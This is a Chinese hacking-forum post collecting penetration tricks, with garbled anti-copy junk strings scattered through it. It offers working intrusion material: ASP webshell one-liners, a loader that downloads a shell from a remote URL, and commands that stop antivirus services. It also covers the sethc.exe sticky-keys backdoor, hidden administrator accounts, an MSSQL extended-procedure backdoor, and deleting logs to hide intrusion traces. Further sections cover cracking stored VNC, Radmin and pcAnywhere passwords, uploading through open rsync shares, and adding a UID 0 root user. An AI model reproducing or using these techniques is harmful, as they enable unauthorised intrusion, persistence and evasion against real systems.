渗透技巧总结

admin

旁站路径问题
7 C9 d+ o, q: ~# u' c) E2 y" a) @1、读网站配置。
2、用以下VBS
On Error Resume Next
! i4 i& d3 V" T: QIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
* ~1 V5 w2 a; H6 R7 q
; T, t9 G) K# }Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
% H; p& a6 X# X; |Set ObjService=GetObject
3 R7 t  z; P* }, b" n6 X
("IIS://LocalHost/W3SVC")
/ `% g) C% |  E3 b9 l( JFor Each obj3w In objservice
( _% J! n% N+ S        If IsNumeric(obj3w.Name)
* T, C/ v9 o3 b/ h
Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
) L$ V) d# `, g! d5 N. A3 n         

! n; X6 q+ T6 d- O$ n0 Z5 Y! f       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

' ^. Y5 D) h% n* s: KOService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
' E% }/ a4 v- H3 \( N     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

3 N# t) Z7 Z7 o* B4 i: ]. JWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
5 p9 c6 J$ w1 O      
& T: q1 p7 s: Z6 a
         WScript.Echo "ath            : " & VDirObj.Path
* j& D" n. m7 v8 j6 A- K1 F! n/ f. p        End If
Next
复制代码
  w2 k: {6 n8 p+ j4 B0 c3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
+ r$ R, M" ~+ U' l: {6 ~" \# F) L4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
7 I' d6 l. h3 j( j—————————————————————
, c4 M6 q* k, hWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
1 Z, C. M9 a8 s+ [! M——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
8 P7 K8 K$ b$ i————————————————————
网站可能目录(注：一般是虚拟主机类）
6 }' s# u. s' ]data/htdocs.网站/网站/
$ f# V/ c- [( A————————————————————
: t1 c. W# F( d# h5 {CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
8 C. n5 T& J* ^& mnetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
! i# p/ A9 z6 a: R- q7 Dnetsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
8 {# [% }" Q' v  d& Z————————————————————
. T  F6 e* D/ i- g5 f5 b+ j, z命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
4 ^5 K' h: b9 P/ q, w; D+ o% r
另类的加用户方法
: l$ B" q* X) Y9 j0 R  A: g  O1 h在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
/ d8 ?1 n$ }; D8 W% C/ M6 }" Tz=o.create("test") ;
4 ?& n9 T4 o' a% N3 W) x8 |z.changePassword("123456","")
0 R- s2 X" X7 r% b; o7 e% cz.setting("AccountType")=3;

' F) o1 E" d9 p8 H4 G# W' @. vvbs:
Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
, d" [! ]+ v1 Z+ _& m. r& s; V' uz.changePassword "123456",""
z.setting("AccountType")=3
2 ^( v% v6 |, D! B$ m——————————————————
0 `- O& n) Z/ N8 B7 v5 _cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

# i" ~, ]- _1 Q/ v; e& X+ _4 U1 [4 x命令如下
! i! N4 y1 ^# l( ?' \8 \. Z& b( @* ]cacls c: /e /t /g everyone:F           #c盘everyone权限
+ x2 ?1 B4 D* ~9 y% m& ~8 W! Mcacls "目录" /d everyone               #everyone不可读，包括admin
/ B+ \! M* D; ~" i' F6 L4 |. x3 R; O————————以下配合PR更好————
3389相关
2 j2 J  Y7 p/ Z; M/ U3 ]a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
c、终端服务器超出了最大允许连接
9 Q) ^$ p/ G$ f' N' BXP 运行mstsc /admin
5 A- {; n  x3 h1 A2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
& T3 Q) \3 f, v2 l; q  z  fnet stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
1 G; @% w' e! Z. i- r) G0 lnet stop "Symantec Settings Manager" /y
& e8 g4 F; o; R
! b: s, [3 U0 N5 a% e/ V: q卖咖啡：net stop "McAfee McShield"
% ?4 a' [9 D7 T1 v, y% w9 k. G' {) _————————————————————

5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
* x- J/ v+ H! A4 T6 W* \& S! g+ Rcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
2 o; D* X- ]5 h# }+ f——————————————————————
. S+ x9 a* s( B* X, m0 Z隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
: i6 G5 a- R; `7 W9 x3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
) q+ k% y! ~2 D. L4、利用Hacker Defender把相关用户注册表隐藏
- C( ~% d1 A$ `$ w2 @& t——————————————————————
0 D- O. _9 x. v+ PMSSQL扩展后门：
USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
+ {3 u4 P1 y( C+ e不成功，“原文件...正在使用”
, ]' l1 o; ~9 A; V+ J8 H  t当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
; u; O9 c$ {  ?4 x当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
1 W3 I3 C* u; [MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
/ l; z, r/ N2 ^( [9 d. @4 g. ^MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

- b; ]2 X: N/ sServer\90\Tools\Shell\mru.dat
5 G8 Q* X8 O- \  g—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
8 T) w+ o4 z# c6 }, e
3 m. n- p! O8 [. P+ m; w! L0 j<%
& {6 N' h* @0 O) ^Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
5 D9 j9 G' d. [Dim Ads, Retrieval, GetRemoteData
/ @$ t6 _$ b0 M6 B. ZOn Error Resume Next
. m% _& ?& i$ q* h' CSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
: K4 i( w8 f6 w' |.Open "Get", s_RemoteFileUrl, False, "", ""
5 w: D5 n" [( F.Send
GetRemoteData = .ResponseBody
' Y" R3 J% @& ~" i5 `- YEnd With
: j+ C: i6 C+ E9 `Set Retrieval = Nothing
  G! h% ~2 r+ ]Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
0 p: v+ h2 P; P( r, N: j  U.Type = 1
& P& X2 Q) I; G.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
* w4 Z$ ~, D7 v) D3 G.Cancel()
& b9 v. }7 b+ O! h3 s5 F( h- k.Close()
End With
1 s4 A- d' T/ ?. I: F- x6 B- QSet Ads=nothing
$ M4 N5 O: f, c  ?End Sub

8 @1 n9 h- P0 z0 k) xeWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
/ s2 B9 \3 [4 A* p2 @) K  `" @%>

1 u7 ?, _2 h; i. `VNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
- a3 g! f, p. a" q* B. `HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
# I4 L3 D) W; v如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
& t3 y; `; \2 s6 w. ?. k9 o, n保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
( Y) \/ Y/ a% j" s——————————————————————
  {5 Q# i% X) [& @! M搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
0 Z( W7 f& E8 r, x+ `来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
# V$ |5 v+ J8 }) D9 V0 _! J
1433 SA点构建注入点。
<%
, y. C& s9 @- y' `) wstrSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
( [" q. u; g- F% ostrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
# `! p0 R6 q8 Q, U8 ^" B1 {( Q/ y
7 ~. C4 ^* `7 H" J0 c+ O2 ?";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
1 _9 D. o% v; l3 `7 ]id = request("id")
/ h: ?# W+ @' `+ E" y4 EstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
4 ^) f  J% p  w2 a: V9 @1 A8 Ors.close
$ w" [# |5 |3 U8 Z7 z3 F! N# r% o%>
复制代码
******liunx 相关******
5 Y+ e5 i$ D( T* g5 `一.ldap渗透技巧
+ ]4 E0 W, j% V* R1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
3 N7 K  m! `& A( f2 p/ l! z
2.less /etc/ldap.conf
# F- @3 L0 m+ P7 t7 p8 {. Ubase ou=People,dc=unix-center,dc=net
" G/ m+ h4 L# B9 f. d0 A找到ou,dc,dc设置
+ }) f) a/ M) m2 M. y9 j( q  W* V8 D
3.查找管理员信息
( o! Z4 M9 ?& C" |* I9 w0 |匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
" a. P7 s: Z# S' L有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


8 Q8 A( {$ m* j* r6 V4.查找10条用户记录
# |/ x& ?2 B5 q; P& v2 \ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
& v6 U! E, g! l1 ]* z
实战:
/ C$ v( I9 Z' h1.cat /etc/nsswitch
* D1 W/ s" Q' h, q# m5 e/ k看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
' x% M- w7 D2 q; x找到ou,dc,dc设置

$ {+ y- i# A' L) d7 [3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

* c. e7 Y% L% O0 p"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
) v6 s/ }  o: \; O6 @有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

0 _6 n7 W0 Z/ [% F"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
3 v- q* p% I/ Y% }: L5 v* bldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
* _' \; [1 V' P. q/ S; M
渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
# R( V, S" P9 I9 \version: 1
dn: dc=ruc,dc=edu,dc=cn
1 g. I, ], |6 {/ b% x, T: Kdc: ruc
objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
sn: manager
" f" {$ U1 U0 x+ L! m0 `7 U8 pcn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
) p8 L; [+ f8 i: P% luid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
) i! d4 {: h% fsn: superadmin
cn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
+ V; T8 s# [* ~" KobjectClass: person
' M3 U3 ?% h1 l1 o) H! a: ?objectClass: top
9 y) ?" q/ M" v% D2 a/ r" lsn: admin
1 m$ L# Y# `! R7 R3 q3 pcn: admin

2 V; {$ F4 E' c& X; l3 d" \% @dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
  o- b! z: q8 A9 K$ f! ouid: dcp_anonymous
objectClass: top
objectClass: person
5 @% s5 Z% g+ {2 i# UobjectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
# a4 S  }& F+ M1 Q* L. {* C( ^cn: dcp_anonymous
, [* B1 R$ T. C) S
2.查看基类
# s0 i. u- d' x+ vbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

more
version: 1
/ S" G8 G; k, o. E3 v5 @, e* wdn: dc=ruc,dc=edu,dc=cn
dc: ruc
8 B) B* F: R3 S* ^objectClass: domain

3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
: A- r2 `! v0 ?/ hversion: 1
dn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
7 @9 V, L( E! qsupportedExtension: 2.16.840.1.113730.3.5.8
# f7 Z# U. z7 q& q# PsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
9 M8 n3 T) L9 b  @" l- t& }" vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
  A/ Z  r) M4 CsupportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
/ @- M- \! z$ i) q2 t* asupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
  `# [, I( I3 p) [supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
* @  B( D5 ~& a+ q' IsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
1 H7 ~& D2 M  V# k6 R' \supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
( r8 V; Q9 `2 i; u7 o, X3 ?supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
7 ^$ K. y4 F" q4 AsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
" Z6 h" \% ]6 w3 }( @7 msupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
8 ?1 b& z! U+ L) D1 R1 OsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
- N) I( V" [$ k" @6 h' psupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
5 C7 e, s, S1 p5 bsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
7 z3 @" j5 P3 I# u- R4 XsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
; I1 H0 M, J7 w% _" ksupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
+ z  \& C: b/ x" g- ?supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
" G5 x! I# H6 W; ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
3 T/ \! h; L4 I. X3 z4 TsupportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
# C: O1 D5 h9 }* |: G& y( wsupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
/ K7 z& W9 U) A, V$ u. }6 H) P3 [supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
( \* G* o+ C% Q! qsupportedControl: 2.16.840.1.113730.3.4.15
0 w9 V# T9 l( g9 ?8 rsupportedControl: 2.16.840.1.113730.3.4.17
7 T4 n! o/ v) J8 S- KsupportedControl: 2.16.840.1.113730.3.4.19
0 X& f+ L% M; \7 ?supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
  l3 o8 X+ x9 @supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
  X  P, g3 [3 P9 G# {% CsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
: K" S7 V- t; S8 {1 `supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
2 J; @% J3 D) b1 V! l' w- w' isupportedControl: 2.16.840.1.113730.3.4.18
8 [$ `  Q* S6 k3 z2 C2 nsupportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
- C2 Q. V: M; w& Q; U- \1 b3 D$ _supportedLDAPVersion: 3
5 P7 q: y+ p3 h( c; e% X3 P) [vendorName: Sun Microsystems, Inc.
9 {9 y7 r% k' \vendorVersion: Sun-Java(tm)-System-Directory/6.2
$ |- l2 u  Y$ r$ T8 Q7 i' Udataversion: 020090516011411
8 v* l- ]7 R: A6 C( g2 nnetscapemdsuffix: cn=ldap://dc=webA:389
% ]: \" Q' C# j$ ksupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
) Y' @3 W  c" o: c! A  y& Z& A: G7 t' ]supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
: ]' ^2 @% @9 r+ a" y* I6 @: y& ]- ?supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
+ `: ~; r/ r" O/ \/ Z% hsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
% O2 t; n8 V  f7 r6 ^supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
" r+ b. Q" t7 u  tsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
4 O5 w2 Y: _& i) {( Z; l" g4 t  \supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
# |: X* |! k8 A8 `) BsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
5 ~. V0 r- S/ ~/ k/ q5 hsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
- s$ h" G* N3 C& a, b+ |supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
$ |, s$ f$ U2 B6 V  D! GsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
8 M8 y' B+ x0 ?. Y: SsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
# g2 [! j' F8 z5 Q9 hsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
7 j: L5 h) |% [6 N- i. t/ J  J" vsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
8 h/ Y$ M+ W8 G' T; h7 {9 b8 N6 o' SsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
3 ?: f$ E7 h. y0 e9 ysupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
0 ~( z% r: c2 z' AsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
3 O' W7 O4 M5 ~2 [& psupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
! F& b7 J0 U* B; Q# m! n6 o0 msupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
; V. ]- q0 P, Y: S6 t/ BsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
1 j) n# `* ?, r) z+ |supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
6 _2 u* q4 y: k6 r; JsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
. w- q% X+ [' B* A6 D7 [supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
4 ?. Y) |2 G+ f1 }$ KsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
$ S# j" [: U! c3 rsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
. p+ A1 {* i1 K7 O4 q' esupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
9 L4 G& x& t4 A$ |& d0 usupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
1 ^8 E2 Z* D0 AsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
9 o" b! y3 U! C. m" x2. NFS渗透技巧
( b! v3 ?% X8 v( c2 _5 Bshowmount -e ip
列举IP
- T4 C. g( m( f4 y  F9 F! J——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
: r  `* K0 W& ?2 J$ ]rsync 210.51.X.X::
finance
: `1 E- u: N$ d4 K) k' n. K! Zimg_finance
0 f, z* q! N. K: v" [! Tauto
img_auto
html_cms
- E* l6 D  P% G  N& wimg_cms
- j$ x$ U( _$ d9 M/ `) Rent_cms
ent_img
ceshi
res_img
  g8 \! B9 s7 j4 u' z7 z$ Kres_img_c2
8 d8 A2 u5 C* T, s) N& rchip
0 k4 k# B3 E9 V" R+ y2 I! @. rchip_c2
ent_icms
1 H3 @& |/ b' |+ u) m- Fgames
9 @. z2 c2 o9 V% T+ m4 x8 ~& v3 Egamesimg
5 T1 A2 R" [& o  V& L& @media
  b% M: r8 \/ qmediaimg
fashion
# G/ B  `5 g) G! N+ Wres-fashion
1 H3 u$ u, e# B1 `. L: ?- l" qres-fo
taobao-home
res-taobao-home
3 s; p- Z+ g; ?4 l% Q  @house
res-house
  e- K3 B$ T% a% W* h( j+ _res-home
' |3 X: J/ ]$ I" S7 X/ b2 ?  Gres-edu
5 }0 z) N" O: ~8 I7 ares-ent
1 Y3 V* T2 \' }res-labs
res-news
# |; r5 z# L* }" x/ Lres-phtv
. ^, J9 u' C2 N( I% [# S" Cres-media
4 C, K+ k) d* U/ e- yhome
edu
* k, j3 E( O: T* V7 ]news
3 m: m2 q2 H- K) G- hres-book
6 {; `0 T7 R3 r* C* A4 l
看相应的下级目录(注意一定要在目录后面添加上/)


5 a) C$ Q% f1 o; @# V4 nrsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
6 E, k5 ^$ q% H2 ^% K: E/ Irsync 210.51.X.X::edu/
6 c7 X# R  ]5 E
2.下载rsync服务器上的配置文件
' C& T6 M7 ~0 q( u, P: m! w9 u8 Orsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
% R- Z3 m$ ?  [1 l0 |5 a+ Z/ C
3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
1 P5 o7 w: v4 c: s) j' q; Ahttp://app.finance.xxx.com/warn/nothack.txt
0 R2 W& Y* r  K- ^7 l
四.squid渗透技巧
9 H- f- ?6 }3 j+ nnc -vv baidu.com 80
4 b  ~6 p. O8 J3 OGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
- ^1 d2 r3 Z# P五.SSH端口转发
! ~9 o, u2 a2 ~# K2 i7 R  ^, e  Ossh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

六.joomla渗透小技巧
2 R7 h% M( H% s6 ^, W确定版本
' ~3 x$ M' k% Z7 Y& J0 _+ s; }; D  \index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47

! y$ l$ H" \, r2 I4 ?. B" y重新设置密码
# [, t4 I4 E" \index.php?option=com_user&view=reset&layout=confirm

! i! v1 _; G# E+ g七: Linux添加UID为0的root用户
% J! _1 p  T$ puseradd -o -u 0 nothack
: h# J# F- B/ b& @
八.freebsd本地提权
" r/ t8 Q  z4 k. P# c[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
( y5 a% {: a3 v9 Y. Q* n2 i* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
- J  b. ?/ K+ f" y% C+ [* [argp@julius ~]$ ./nfs_mount_ex
% g7 x, q8 f% ?: M*
* H0 |4 N% T5 G( U7 pcalling nmount()

- q+ |. ?' P; i9 z. h" K3 R0 N; @（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
  z. S) P( R1 `5 ~' q) w——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
